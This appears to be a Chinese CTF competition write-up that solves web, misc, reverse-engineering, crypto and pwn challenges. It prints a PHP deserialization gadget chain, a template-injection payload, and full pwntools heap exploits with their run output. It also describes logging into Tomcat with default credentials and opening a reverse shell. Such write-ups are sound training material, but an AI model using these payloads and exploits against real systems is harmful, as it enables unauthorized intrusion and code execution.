本文首发于“合天智汇”公众号 作者：Fortheone
WEB
Babyunserialize
扫目录发现了 www.zip
下载下来发现似曾相识
之前wmctf2020的webweb出了f3的反序列化题
直接用exp打
System被ban了 打phpinfo看看
<?php namespace DB{ abstract class Cursor implements \IteratorAggregate {} } namespace DB\SQL{ class Mapper extends \DB\Cursor{ protected $props=["quotekey"=>"call_user_func"], $adhoc=["phpinfo"=>["expr"=>""]], $db; function offsetExists($offset){} function offsetGet($offset){} function offsetSet($offset, $value){} function offsetUnset($offset){} function getIterator(){} function __construct($val){ $this->db = $val; } } } namespace CLI{ class Agent { protected $server=""; public $events; public function __construct(){ $this->events=["disconnect"=>array(new \DB\SQL\Mapper(new \DB\SQL\Mapper("")),"find")]; $this->server=&$this; } }; class WS{} } namespace { echo urlencode(serialize(array(new \CLI\WS(),new \CLI\Agent()))); }
发现被ban了很多函数
试了几个函数都没成功，然后翻phpinfo的时候翻到了一个flag
在环境变量里面。
flag值：flag{b26444a0-b80f-4bb8-a49a-952b5e7382b8}
Easyphp
首先尝试了各种执行命令的方法无果，返回看题目 是要fork出来的进程异常退出。
查了一下这个函数，发现要pid变为1的时候就会执行phpinfo。
这里看到父进程要退出，子进程变成孤儿进程时pid会变为1，也就是要子进程暂停住，使用 pcntl_wait 就可以挂起子进程，让pid变成1.
Payload: ?a=call_user_func&b=pcntl_wait
环境变量中有flag
flag值 flag{4c9c8d9d-1741-4967-ba54-9e200d0c3cd5}
Littlegame
打开题目下载源码可以直接看到获取flag的条件是
Admin[key] === password
看一下Admin里的内容
Admin里的三个password都不知道是什么。但是想到原型链污染，可以给Admin加上一个属性并赋值。
在这个路由下面有一个赋值的操作。setFn
查一下set-value是否有原型链污染的漏洞
根据poc来构造
设置一个test属性 值为123
再给key和password赋值即可获取flag。
flag值 ：flag{02599a00-3e98-40a7-a0c8-e806086c45f0}
Rceme
看到命令执行的地方发现是zzzphp1.6.1的漏洞，但是题目改了过滤的函数
构造payload
{if:1)(hex2bin(dechex(112)).hex2bin(dechex(104)).hex2bin(dechex(112)).hex2bin(dechex(105)).hex2bin(dechex(110)).hex2bin(dechex(102)).hex2bin(dechex(111)))();die();//}{end%20if}
Flag还是在phpinfo里面。
flag值 ：flag{438e2428-1314-43bd-b212-e3cfcda3584d}
Easytrick
可以用 INF 来绕过 原理如下
<?php class trick{ public $trick1; public $trick2; public function __construct(){ $this->trick1=INF; $this->trick2=INF; } } echo urlencode(serialize(new trick()));
flag值： flag{28a9fcfd-b322-40a8-a532-72c1062e0716}
MISC
签到
flag值 ： flag{同舟共济扬帆起，乘风破浪万里航。}
the_best_ctf_game
Hxd打开，发现右边flag字符串，照着这个一个一个打出来
flag为：flag{65e02f26-0d6e-463f-bc63-2df733e47fbe}
电脑被黑
file看了下，是ext3文件，用ext3grep还原
直接 ext3grep --restore-all disk_dump 回复全部文件
看到一个flag.txt打开发现加密了，然后demo又是个elf程序，直接ida看下
找到了加密函数，对着加密函数写解密脚本，脚本如下
运行获得flag
flag为：flag{e5d7c4ed-b8f6-4417-8317-b809fc26c047}
file=open('flag.txt','rb') f=file.read() v4=34 v5=0 flag="" for i in f: flag=flag+chr((ord(i)^v4)-v5) v4=(v4+34)&0xff v5=(v5+2)&0xf #print flag,v4,v5 print flag
WamaCry1
题目说是勒索病毒，然后给了个exe和加密后的flag，由于是勒索病毒，一般会用到rsa加密，而题目也说了公私钥，所以猜测exe获取到公私钥然后对flag进行rsa加密，就用ida看了下exe，大致是把ui布局好，然后里面调用了第一个son.exe,没有看到什么加密过程，那加密应该放在了son.exe里了，然后找了半天这个son.exe,就是找不到在哪,直到exeinfo看了下.....
Enigma Virtual Box 是一个打包QT程序的软件,也就是说这个是打包后的exe,我们找到工具解包就行了,百度了一下,找到一个EnigmaVBUnpacker的解包软件,解包后终于找到了son.exe
ida打开son.exe,直接字符串就看到一个ip,然后跟进分析了一下
加密函数，看来猜的没错就是rsa加密，然后又看了下函数表，没发现其它加密，那么只要找到私钥就能解密了
大致是链接远端服务器的12345端口,看题目说明是下载公私钥,然后我就想能不能访问这个地址去下,发现无法访问12345端口,然后nmap扫了下
发现开了8080,就访问了下
是个tomcat后台弱口令 tomcat tomcat 就进来了
常规操作上传war包拿shell 然后反弹shell
服务器的tmp目录下有个key目录，里面有两个文件
把服务器上/tmp/key下的文件都dump下来，server是个elf文件,我就ida分析了下
大致就是,监听本地12345端口看有socket连接没,有就跟此连接交互,根据题目,木马程序会把宿主的计算机信息传上远端服务器,然后远端服务器根据传来的信息在/tmp/key/目录下创建以计算机名为名的文件,然后再接受宿主机传来的私钥(看了下原先在服务器上的文件,发现是一个rsa私钥),然后第一个字符异或1(被坑了,没仔细看是buf,以为是整个传过来的字符串,BEGIN RSA PRIVATE KEY不需要异或)保存到创建的文件里(服务器上私钥的来源)
做到这就可以写解密脚本了
私钥还原脚本(不加BEGIN RSA PRIVATE KEY头,还原完再手动加上)
fin=open("xorkey","rb") #服务器上的私钥去除BEGIN RSA PRIVATE KEY头 fout=open("prive_key1","wb") y=fin.read().split("\n\x00") print y for i in y[:-1]: b=ord(i[0])^0x1 fout.write(chr(b)+i[1:]) fout.write("\x0D\x0A")
解密脚本
from Crypto.PublicKey import RSA import string #prive.pem为前面异或后生成的文件加上BEGIN RSA PRIVATE KEY头后生成的文件 with open("prive.pem") as f: key = f.read() rsakey = RSA.importKey(key) #flag.5就是题目给的flag.555555555555584648686 with open('flag.5','rb') as f: cipher = f.read().encode('hex') cipher = string.atoi(cipher,base=16) print cipher m=pow(cipher,rsakey.d,rsakey.n) print hex(m) m1="666c61677b32376263333539392d656339662d346263302d623030372d6266626366633664396661627d" print m1.decode('hex')
一开始解出来decode( ‘ hex ’ )不了,以为还有其他加密,然后就在输出的16进制里看到了666c6167这明显flag的字符串,就把后面的单独decode( ‘ hex ’ )了
flag为:flag{27bc3599-ec9f-4bc0-b007-bfbcfc6d9fab}
RE
Z3
ida打开，题目要求我们输入flag，然后把我们的flag进行一些操做再与Dst比较，反过来求flag就是解多元一次方程组，直接用sympy解
先用脚本把比较值dump下来
import idc import idautils def tiqu(start,end): a=[] for i in range(start,end,4): a.append(idc.Word(i)) print a tiqu(0x404020,0x4040c8)
然后编写解密脚本，最终脚本如下
import sympy c1=[] for i in range(46,88): a1='v'+str(i) exec(a1+'='+"sympy.Symbol(\'"+a1+"\')") exec("c1.append("+a1+")") a5=[20247L, 40182L, 36315L, 36518L, 26921L, 39185L, 16546L, 12094L, 25270L, 19330L, 18540L, 16386L, 21207L, 11759L, 10460L, 25613L, 21135L, 24891L, 18305L, 27415L, 12855L, 10899L, 24927L, 20670L, 22926L, 18006L, 23345L, 12602L, 12304L, 26622L, 19807L, 22747L, 14233L, 24736L, 10064L, 14169L, 35155L, 28962L, 33273L, 21796L, 35185L, 14877L] v4 = 34 * v49 + 12 * v46 + 53 * v47 + 6 * v48 + 58 * v50 + 36 * v51 + v52 v5 = 27 * v50 + 73 * v49 + 12 * v48 + 83 * v46 + 85 * v47 + 96 * v51 + 52 * v52 v6 = 24 * v48 + 78 * v46 + 53 * v47 + 36 * v49 + 86 * v50 + 25 * v51 + 46 * v52 v7 = 78 * v47 + 39 * v46 + 52 * v48 + 9 * v49 + 62 * v50 + 37 * v51 + 84 * v52 v8 = 48 * v50 + 14 * v48 + 23 * v46 + 6 * v47 + 74 * v49 + 12 * v51 + 83 * v52 v9 = 15 * v51 + 48 * v50 + 92 * v48 + 85 * v47 + 27 * v46 + 42 * v49 + 72 * v52 v10 = 26 * v51 + 67 * v49 + 6 * v47 + 4 * v46 + 3 * v48 + 68 * v52 v11 = 34 * v56 + 12 * v53 + 53 * v54 + 6 * v55 + 58 * v57 + 36 * v58 + v59 v12 = 27 * v57 + 73 * v56 + 12 * v55 + 83 * v53 + 85 * v54 + 96 * v58 + 52 * v59 v13 = 24 * v55 + 78 * v53 + 53 * v54 + 36 * v56 + 86 * v57 + 25 * v58 + 46 * v59 v14 = 78 * v54 + 39 * v53 + 52 * v55 + 9 * v56 + 62 * v57 + 37 * v58 + 84 * v59 v15 = 48 * v57 + 14 * v55 + 23 * v53 + 6 * v54 + 74 * v56 + 12 * v58 + 83 * v59 v16 = 15 * v58 + 48 * v57 + 92 * v55 + 85 * v54 + 27 * v53 + 42 * v56 + 72 * v59 v17 = 26 * v58 + 67 * v56 + 6 * v54 + 4 * v53 + 3 * v55 + 68 * v59 v18 = 34 * v63 + 12 * v60 + 53 * v61 + 6 * v62 + 58 * v64 + 36 * v65 + v66 v19 = 27 * v64 + 73 * v63 + 12 * v62 + 83 * v60 + 85 * v61 + 96 * v65 + 52 * v66 v20 = 24 * v62 + 78 * v60 + 53 * v61 + 36 * v63 + 86 * v64 + 25 * v65 + 46 * v66 v21 = 78 * v61 + 39 * v60 + 52 * v62 + 9 * v63 + 62 * v64 + 37 * v65 + 84 * v66 v22 = 48 * v64 + 14 * v62 + 23 * v60 + 6 * v61 + 74 * v63 + 12 * v65 + 83 * v66 v23 = 15 * v65 + 48 * v64 + 92 * v62 + 85 * v61 + 27 * v60 + 42 * v63 + 72 * v66 v24 = 26 * v65 + 67 * v63 + 6 * v61 + 4 * v60 + 3 * v62 + 68 * v66 v25 = 34 * v70 + 12 * v67 + 53 * v68 + 6 * v69 + 58 * v71 + 36 * v72 + v73 v26 = 27 * v71 + 73 * v70 + 12 * v69 + 83 * v67 + 85 * v68 + 96 * v72 + 52 * v73 v27 = 24 * v69 + 78 * v67 + 53 * v68 + 36 * v70 + 86 * v71 + 25 * v72 + 46 * v73 v28 = 78 * v68 + 39 * v67 + 52 * v69 + 9 * v70 + 62 * v71 + 37 * v72 + 84 * v73 v29 = 48 * v71 + 14 * v69 + 23 * v67 + 6 * v68 + 74 * v70 + 12 * v72 + 83 * v73 v30 = 15 * v72 + 48 * v71 + 92 * v69 + 85 * v68 + 27 * v67 + 42 * v70 + 72 * v73 v31 = 26 * v72 + 67 * v70 + 6 * v68 + 4 * v67 + 3 * v69 + 68 * v73 v32 = 34 * v77 + 12 * v74 + 53 * v75 + 6 * v76 + 58 * v78 + 36 * v79 + v80 v33 = 27 * v78 + 73 * v77 + 12 * v76 + 83 * v74 + 85 * v75 + 96 * v79 + 52 * v80 v34 = 24 * v76 + 78 * v74 + 53 * v75 + 36 * v77 + 86 * v78 + 25 * v79 + 46 * v80 v35 = 78 * v75 + 39 * v74 + 52 * v76 + 9 * v77 + 62 * v78 + 37 * v79 + 84 * v80 v36 = 48 * v78 + 14 * v76 + 23 * v74 + 6 * v75 + 74 * v77 + 12 * v79 + 83 * v80 v37 = 15 * v79 + 48 * v78 + 92 * v76 + 85 * v75 + 27 * v74 + 42 * v77 + 72 * v80 v38 = 26 * v79 + 67 * v77 + 6 * v75 + 4 * v74 + 3 * v76 + 68 * v80 v39 = 34 * v84 + 12 * v81 + 53 * v82 + 6 * v83 + 58 * v85 + 36 * v86 + v87 v40 = 27 * v85 + 73 * v84 + 12 * v83 + 83 * v81 + 85 * v82 + 96 * v86 + 52 * v87 v41 = 24 * v83 + 78 * v81 + 53 * v82 + 36 * v84 + 86 * v85 + 25 * v86 + 46 * v87 v42 = 78 * v82 + 39 * v81 + 52 * v83 + 9 * v84 + 62 * v85 + 37 * v86 + 84 * v87 v43 = 48 * v85 + 14 * v83 + 23 * v81 + 6 * v82 + 74 * v84 + 12 * v86 + 83 * v87 v44 = 15 * v86 + 48 * v85 + 92 * v83 + 85 * v82 + 27 * v81 + 42 * v84 + 72 * v87 v45 = 26 * v86 + 67 * v84 + 6 * v82 + 4 * v81 + 3 * v83 + 68 * v87 b2=[] for i in range(4,46): exec("b2.append("+'v'+str(i)+')') for j in range(0,len(a5)): b2[j]=b2[j]-a5[j] #print c1,b2 f=sympy.solve(b2,c1) flag="" for i in range(46,88): a1='v'+str(i) exec("flag+=chr(f["+a1+"])") print flag
运行获得flag
flag为flag{7e171d43-63b9-4e18-990e-6e14c2afe648}
hyperthreading
先看字符串来定位主函数，进到主函数后发现创建了3个线程，点进去发现函数加了花指令，先把一些花指令去除后，发现了加密函数
加密函数如下，byte_40336c是我们输入的，大致意思是(byte_40336c[i]<<6) ^(byte_40336c[i]>>2)^0x23+0x23
加密后与byte_402150比较
反向解密有点麻烦就直接爆破了，解密脚本如下
a1=[221, 91, 158, 29, 32, 158, 144, 145, 144, 144, 145, 146, 222, 139, 17, 209, 30, 158, 139, 81, 17, 80, 81, 139, 158, 93, 93, 17, 139, 144, 18, 145, 80, 18, 210, 145, 146, 30, 158, 144, 210, 159] f="" for i in range(0,42): for j in range(0x20,0x7f): b=(((((j<<6)^(j>>2))&0xff)^0x23)+0x23)&0xff if b == a1[i]: f=f+chr(j) break print f
flag为：flag{a959951b-76ca-4784-add7-93583251ca92}
CRYPTO
bd
看了下代码，发现e很大，想到Wiener_attack，然后去github上下了个攻击脚本，直接脚本跑出d，然后解密
d=1485313191830359055093545745451584299495272920840463008756233 n=86966590627372918010571457840724456774194080910694231109811773050866217415975647358784246153710824794652840306389428729923771431340699346354646708396564203957270393882105042714920060055401541794748437242707186192941546185666953574082803056612193004258064074902605834799171191314001030749992715155125694272289 c=37625098109081701774571613785279343908814425141123915351527903477451570893536663171806089364574293449414561630485312247061686191366669404389142347972565020570877175992098033759403318443705791866939363061966538210758611679849037990315161035649389943256526167843576617469134413191950908582922902210791377220066 m=pow(c,d,n) print hex(m)[2:-1].decode('hex')
flag为：flag{d3752538-90d0-c373-cfef-9247d3e16848}
lfsr
参考这篇文章： https://xz.aliyun.com/t/3682
# This file was *autogenerated* from the file 333.sage from sage.all_cmdline import * # import sage library _sage_const_100 = Integer(100); _sage_const_2 = Integer(2); _sage_const_1 = Integer(1) s = '0100110011101111011111011010100111001010010100001111110110111101011110011111010010010111011100110111011001100001010010011101101000110110000011111011110000010100001001000011001011011011011001111110101111001010011011100010011110101100100101111001011100011110111101001010000000100100000111100101100100100000100110001111110011100110101000110100011001110110000110111111010111000001101110011001101111010110101000101011110111001011001111111000100100100011100100010101001100111011101111100110101011101101001001110010111011010011111001100001111111100001000001101101000001010100110011001101000101001010001001011000010111111100101111000000101000010110100110101001001100100011000111101000110011110101101111100110101010101000000001110010101001001111101001010111011110110001100101001111110111000110101011011010110101100011110010000011000110010111101010010000011101110111100011011110110001111010101011101100101101001111100100011000100101111011110001111100000110111000111111000111100000110011011011111110011111100010010110000010011100001010101011011101100011001100101100011001010010001101010011000000011110110111000000110001010010111110101011100000010100100001101011010101100110000101100010001010010111011000100001000001001110101011000010111000000010101100001010000010110110000111100011011000010111001111101110111010110000011001011101100000100000100010100100000010011010000111110010001111010000100011110000101111000110100010110101110001011101101100111000001110100100000000010011001110101110000001101100000001010111010011111000101101011001010011001101000111000010111111010101000011011001001110000011100100100010110101100001110110111001000001011111100101100011010010010110000011110100110000111011011010101110101001100110100101100101000100011001011000001011110010000011000110111011110011010001101100010010111110101101101110100111010000001101000011011010011110111101000000100011000000101001000000011010101010000100001110110000110011000111101011100100101111101111111110101000011010001101100010010100111000000010000101100100110101000001001011100011111001101001101100010100000111010101111011101111111101100000010000111110011101010100101110100101010100011110100100000111010001000100011010011100010011000001110110100110110010100100110111011001010010010100000110101110000011110010110100010101000110000111101011011010111101100111100101001101001101100111101000100101101100010111010010111100100111101101110101110011010110011111011111010000011000100010010101110001001000111111100100010100000001001010111010100010111001011011101110010110111110110100011111101110111011000111001010010110001001011011100110101111100100000101110000001011110011101110101101001011111100011001100111001011011001011011101000101100100011101000011101011010110010111111010011110111111111100001101101001101101111000100110010010100000100000100110100100110010000100101100000101010101000111110101001111111011011111101101110010100110000010110111001101110011101100001111111001110110010010011101111100111111000010011010010011100000001010011111111110001111110110110110001001001111011001101110110101100011010001111110010001011010000011110101100110010010001110010100010000000010101010010111011010101011011000010010011010110101101011100100101110001100000111110010101100010100010100010000101111000011111000111000011110001110110000011000100110010101111111111100011010000010010010111111110000000010100100101101101010111011000001010000000101011010110011101000110011011001110101101001001101100010011110001101001001000011001101100001101100000101111000001110100001100001000100000000011010011001001011110011000011011000100011011001011100111111000011011010000100000011110110011011110111000001011101101110110101000101011111110000100000111111110011111111100010101001000011010001110111111011100010111001110110001000101010001001001111111110111001101001001000110000110100000000010010100001010111101001110001011101011000100000001001001011111000100011111000011010001110001111111110111100010001110101011101011100010100000011110000100011001100000100111000111011011101000110010011010011110010010000111010001011111111010110011100111011110100111000101100100111001001010001000100011110101100100010000000000110010111101101111101011001101111000000000100000101001011110000010011110011000000100111001001110001000010011111010100001001010010100111111010111001001110110101010010100010010100101100000001010010111101101000110100111110000000111110000011110011001101010111101010111010111010000000110010001011110101110110001000110111101110101101001001100001101110001000100000110100000100000111110010110110010011111100010011111001110111011010101010001011111110000000011110001010011001101010110010101100101100110010111001100100111101000100010100010010100000010010111101100111110101101111101001010110010001111111001101010111110101111001000111101001110100000111111010000111000010101001001101100111001111111111100011010111110001101000100001010000000001101101001110001000001110010000010110001001001101010111111001001010100011011111011000011001001101000110010101000010100001001000011111001101101111011111001000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1' N = _sage_const_100 F = GF(_sage_const_2 ) ans=[] out = s Sn = [vector(F,N) for j in range(N+_sage_const_1 )] for j in range(N+_sage_const_1 ): Sn[j] = list(map(int,out[j:j+N])) X = matrix(F,Sn[:N]) invX = (X**-_sage_const_1 ) Y = vector(F,Sn[-_sage_const_1 ]) Cn = Y * invX res = ''.join(str(i) for i in Cn) ans.append(int(res[::-_sage_const_1 ],_sage_const_2 )) print (ans)
flag值：flag{856137228707110492246853478448}
PWN
babyjsc
直接nc 用python2执行
__import__('os').execl('/bin/bash','-p')
flag值 flag{c4e39be1-666e-43c4-bf9c-3b44bd280275}
maj
这道题混肴事情是挺失败的，看下相关的，然后发现在整个过程都是不会影响原来的参数，所以这样混肴就是直接插进去， 不管就完事，还以为是原题，后来审了下发现是uaf+io泄露，没了
#coding:utf-8 from pwn import * #context.log_level = 'debug' context.arch = 'amd64' #p = remote("121.36.209.145",9998) #p = process('./pwn_e') p = remote("101.200.53.148", 15423) elf = ELF('./pwn_e') libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") sd = lambda s:p.send(s) sl = lambda s:p.sendline(s) rc = lambda s:p.recv(s) ru = lambda s:p.recvuntil(s) sda = lambda a,s:p.sendafter(a,s) sla = lambda a,s:p.sendlineafter(a,s) sa = lambda a,s:p.sendafter(a,s) def new(size,content): sla("5. exit\n>> ",'1') sla("please answer the question\n\n",str(80)) sla("?\n",str(size)) sda("start_the_game,yes_or_no?\n",content) def dele(idx): sla(">> ",'2') sla("index ?\n",str(idx)) def show(idx): sla(">> ",'3') sla("index ?\n",str(idx)) def edit(idx,data): sla(">> ",'4') sla("\n",str(idx)) sda("?\n",data) one = [0x45226,0x4527a,0xf03642,0xf1207] new(0x100,'a'*0x100)#0 new(0x68,'a'*0x100)#1 new(0x10,'a'*0x100)#2 dele(0) new(0x68,'a')#3 new(0x68,'a')#4 new(0x28,'a')#5 dele(1) edit(0,'\x00'*0x68+p64(0x111)) dele(4) new(0x98,'a')#6 edit(1,p16(0x25dd)) new(0x68,'a')#7 new(0x68,'\x00'*0x33+p64(0xfbad3c80)+p64(0)*3+chr(0))#8 edit(8,'\x00'*0x33+p64(0xfbad3c80)+p64(0)*3+chr(0)) rc(0x58) libc = u64(rc(8).ljust(8,'\x00'))- 0x3c56a3 log.info("libc: "+hex(libc)) ru(">> ") sl(str(2)) ru("\n") sl(str(7)) edit(1,p64(libc+0x3c4b10-0x23)) sla(">> ",'1') sla("\n",str(80)) sla("______?",str(0x68)) sda("start_the_game,yes_or_no?",'a') sla(">> ",'1') sla("\n",str(80)) sla("______?",str(0x68)) sda("start_the_game,yes_or_no?",'a') #new(0x68,'a')#10 edit(10,'\x00'*0x13+p64(libc+0xf1207)) sla(">> ",'1') sla("\n",str(80)) sla("______?",str(0x68)) p.interactive()
[+] Opening connection to 101.200.53.148 on port 15423: Done [*] '/home/yezi/Yezi/CTF/gaoxiao_yi/pwn/lgd/attachment/pwn_e'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] libc: 0x7fbc202bd000
[*] Switching to interactive mode
Congratulations,please input your token: $ icqda4593f7181003c0eea4007d93026
flag{8e63eba52ba4257efc6fe517cf2cc83a}[*] Got EOF while reading in interactive
$
flag值：flag{8e63eba52ba4257efc6fe517cf2cc83a}
easybox
我就没看看出 unsafe的box在哪里，，就看道了off by one，没用edit，没又edit
，但是直接打就完事，跟maj差不多
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import sys context.log_level = 'debug' s = lambda x :orda.send(str(x)) sa = lambda x, y :orda.sendafter(str(x),str(y)) sl = lambda x :orda.sendline(str(x)) sla = lambda x, y :orda.sendlineafter(str(x), str(y)) r = lambda numb=4096 :orda.recv(numb) rc = lambda :orda.recvall() ru = lambda x, drop=True :orda.recvuntil(x, drop) rr = lambda x :orda.recvrepeat(x) irt = lambda :orda.interactive() uu32 = lambda x :u32(x.ljust(4, '\x00')) uu64 = lambda x :u64(x.ljust(8, '\x00')) db = lambda :raw_input() def getbase_b64(t): pid=proc.pidof(s)[0] pie_pwd ='/proc/'+str(pid)+'/maps' f_pie=open(pie_pwd) return f_pie.read()[:12] if len(sys.argv) > 1: s = "101.200.53.148:34521" host = s.split(":")[0] port = int(s.split(":")[1]) orda = remote(host,port) else: orda = process("./pwn") def add(idx,size,content): sla(">>>\n",1) sla("\n",idx) sla("\n",size) sa("\n",content) def dele(idx): sla(">>>\n",2) sla("\n",idx) def add_e(idx,size,content): sla("\n",1) sla("\n",idx) sla("\n",size) sa("\n",content) add(0,0x18,'a') add(1,0x68,'a') add(2,0x68,'a')# add(3,0x68,'a') add(4,0x68,'a') dele(2) dele(0) add(0,0x18,'a'*0x18+'\xe1') dele(1) add(1,0x28,'a') add(5,0x38,'a')# add(6,0x28,'a') add(7,0x30,'a') dele(0) add(0,0x18,'a'*0x18+'\xe1') dele(1) add(7,0x38,'a') add(8,0x58,'\x00'*0x28+p64(0x71)+p16(0x25dd)) add(9,0x38,'\x00'*0x28+p64(0x80)) add(10,0x68,'a') add(10,0x68,'\x00'*0x33+p64(0xfbad3c80)+p64(0)*3+chr(0)) r(0x58) libc = u64(r(8).ljust(8,'\x00'))- 0x3c56a3 log.info("libc: "+hex(libc)) sla("\n",1) sla("\n",0) sla("\n",0x18) sa("\n",'a') #add(0,0x18,'a') add_e(1,0x68,'a') add(2,0x68,'a')# add(3,0x68,'a') add(4,0x68,'a') dele(2) dele(0) add(0,0x18,'a'*0x18+'\xe1') dele(1) add(1,0x98,'\x00'*0x68+p64(0x71)+p64(libc+0x3c4b10-0x23)) add(8,0x38,'a') add(9,0x68,'a') add(10,0x68,'\x00'*0x13+p64(libc+0xf1207)) #ru("\n") #sla(">>\n",'1') #sla("\n",0) #sla("\n",0x60) irt()
flag值 ：flag{cab1b22dc48805990b26e882d78e9134}
想getCTF技能请戳：https://sourl.cn/r6Ckj9